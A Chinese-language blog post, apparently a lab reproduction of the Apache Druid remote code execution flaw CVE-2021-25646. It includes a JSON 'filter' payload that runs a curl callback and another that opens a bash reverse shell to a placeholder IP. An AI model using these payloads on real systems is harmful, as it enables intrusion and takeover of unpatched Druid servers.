Apache Druid 远程代码执行漏洞 (CVE-2021-25646) 复现

简介

Apache Druid 是用Java编写的面向列的开源分布式数据存储,旨在快速获取大量事件数据,并在数据之上提供低延迟查询。

概述

Apache Druid 默认情况下缺乏授权认证,攻击者可以发送特制请求,利用Druid服务器上进程的特权执行任意代码。

影响版本

Apache Druid <= 0.20.1

环境搭建

Apache Druid:0.16.0

docker pull fokkodriesprong/docker-druid
docker run --rm -i -p 8888:8888 fokkodriesprong/docker-druid

进入 8888 端口即可看到 Druid console

漏洞复现

  1. 进入 Load data -> Local disk, 填入以下内容
Base directory:
quickstart/tutorial/
File filter:
wikiticker-2015-09-12-sampled.json.gz

1.jpg

2.jpg

  1. 一直 next 到 filter 选项,add 添加,随便填写点内容,抓包后把包的内容改一下, filter 部分改成下面
"filter":{
    "type":"javascript",
    "function":"function(value){return java.lang.Runtime.getRuntime().exec('curl ip:8000')}",
    "dimension":"added",
    "":{
    "enabled":"true"
    }

于是我们就可以看到咱们的 dns 服务器是收到内容了

3.jpg

4.jpg

5.jpg

  1. 反弹 shell ,一样的,改一下 filter 的内容
"filter":{
    "type":"javascript",
    "function":"function(value) {java.lang.Runtime.getRuntime().exec('/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/your-ip/4444 0>&1')}",
    "dimension":"added",
    "":{
    "enabled":"true"
    }

可以发现反弹了 shell 回来

6.jpg

7.jpg

参考

https://mp.weixin.qq.com/s/ssA27HZrZ7Y-wGqJ2gix1w
https://druid.apache.org/docs/latest/tutorials/index.html
https://druid.apache.org/docs/latest/tutorials/index.html

原文地址:https://www.cnblogs.com/w0x68y/p/14381132.html